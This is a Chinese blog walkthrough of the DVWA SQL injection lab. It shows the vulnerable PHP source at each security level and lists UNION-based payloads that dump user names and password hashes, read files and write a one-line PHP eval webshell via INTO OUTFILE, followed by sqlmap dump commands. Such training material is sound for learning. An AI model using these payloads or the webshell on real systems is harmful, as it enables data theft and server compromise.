日期:2019-07-28 20:43:48
更新:
作者:Bay0net
介绍:


0x00、基本信息

关于 mysql 相关的注入,传送门。

SQL 注入漏洞之 mysql - Bay0net - 博客园

0x01、Low Security Level

查看源码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" ); // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count
$i++;
} mysql_close();
} ?>

查看代码可知,服务器对传来的 user_id 没有任何过滤,直接按照流程手工注入即可。

手注流程

# 判断是否为注入
?id=1' or '1'='1
?id=1' or '1'='2 # 判断字段长度(2 正常,3 异常)
?id=1' order by 2 --
?id=1' order by 3 -- # 确定回显点
?id=1' union select 111,222 -- # 用户名和数据库名称
?id=1' union select user(),database() --
-- output:admin@localhost、dvwa # 查看当前用户和 mysql 版本
?id=1' union select current_user(),version() --
-- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1 # 爆表名
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() --
-- output:guestbook,users # 爆列名(两种办法,加引号或者十六进制编码)
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 --
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --
-- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login # 爆字段名
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users --
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users --
?id=1' union select user,password from users --
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99 # 读文件
?id=1' union select 1,load_file('//tmp//key') -- # 写文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999' union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' --

0x02、Medium Security Level

查看源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id ); // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" ); // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count
$i++;
} //mysql_close();
} ?>

使用了 mysqli_real_escape_string 函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

转义的特殊字符如下

\x00
\n
\r
\
'
"
\x1a

PHP mysql_real_escape_string() 函数

手注流程

此处是数字型注入,所以和特殊符号过滤关系不大,使用 hackbar 进行 POST 即可。

# 判断注入点
id=1 and 1=1 &Submit=Submit
id=1 and 1=2 &Submit=Submit # 爆数据
id=1 union select user,password from users&Submit=Submit

0x03、High Secuirty Level

查看源码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" ); // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count
$i++;
} mysql_close();
} ?>

分析源码

此处加了个 limit 1 来限制输出,但是可以直接注释掉,解法与 Low Security Level 相同。

0x04、Impossible Secuity Level

采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。

DVWA SQL Injection 通关教程 | AnCoLin's Blog|影风博客

0x05、sqlmap 一把梭

利用 sqlmap 工具进行注入

# 爆所有数据库
sqlmap -r 1.txt --dbs
-- output:dvwa、information_schema、mysql、performance_schema # 爆表名
sqlmap -r 1.txt -D dvwa --tables
-- output:guestbook、users # 爆字段名
sqlmap -r 1.txt -D dvwa -T users --columns
-- output:user、password、first_name、last_login、last_name…… # 爆字段内容
sqlmap -r 1.txt -D dvwa -T users -C user,password --dump
-- output:得到账号和 MD5 hash 后的密码

【DVWA】SQL Injection(SQL 注入)通关教程的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  4. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  5. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  6. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  7. DVWA SQL Injection(Blind) 通关教程

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...

  8. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

随机推荐

  1. MySQL字段值按照拼音首字母排序

    最简单.快速的方法: 将需要进行排序的字段编码设置为GBK,然后在查询时直接使用asc/desc就可以啦

  2. idea使用问题总结

    一.创建Spring 的配置文件需要加入一个pom.xml 的依赖 <dependency> <groupId>org.springframework</groupId& ...

  3. @EqualsAndHashCode

    1.@Data注解包含了这些注解 * @see Getter * @see Setter * @see RequiredArgsConstructor * @see ToString * @see E ...

  4. mysql向redis导入数据

    数据库结构如下 如果是linux系统下,如此整备数据 SELECT CONCAT( "*10\r\n", '$', LENGTH(redis_cmd), '\r\n',redis_ ...

  5. 【leetcode】1271. Hexspeak

    题目如下: A decimal number can be converted to its Hexspeak representation by first converting it to an ...

  6. node 的path

    1.文档:http://nodejs.cn/api/path.html 2.path.normalize()   规范化给定的 path,解析 '..' 和 '.' 片段. 当路径不规范时,用来返回一 ...

  7. https://stackblitz.com/github/cwiki-us-angular/cwiki-us-angular-app 导入后如何添加到自己的项目

    将 https://stackblitz.com/github/cwiki-us-angular/cwiki-us-angular-app 导入到界面后,如何将这个项目添加到自己的项目里面. 然后再自 ...

  8. 【POJ1011】Sticks

    [题目概括] 现在有\(n\)个长度不超过\(50\)的木棍,请你把这些小木棍拼成若干根长度相同的木棍. 请你最小化拼成后的长度. [思路要点] 考虑枚举最后的长度,然后判断是否可以,这样就不需要最优 ...

  9. confluence部署

    confluence -- 团队文档的管理平台. 首先要在confluence官网买key. 部署 安装jdk 1.8 环境 查看机器是否自带 java -version,没有再安装. yum ins ...

  10. AtCoder AGC017C Snuke and Spells

    题目链接 https://atcoder.jp/contests/agc017/tasks/agc017_c 题解 很久前不会做看了题解,现在又看了一下,只想说,这种智商题真的杀我... 转化成如果现 ...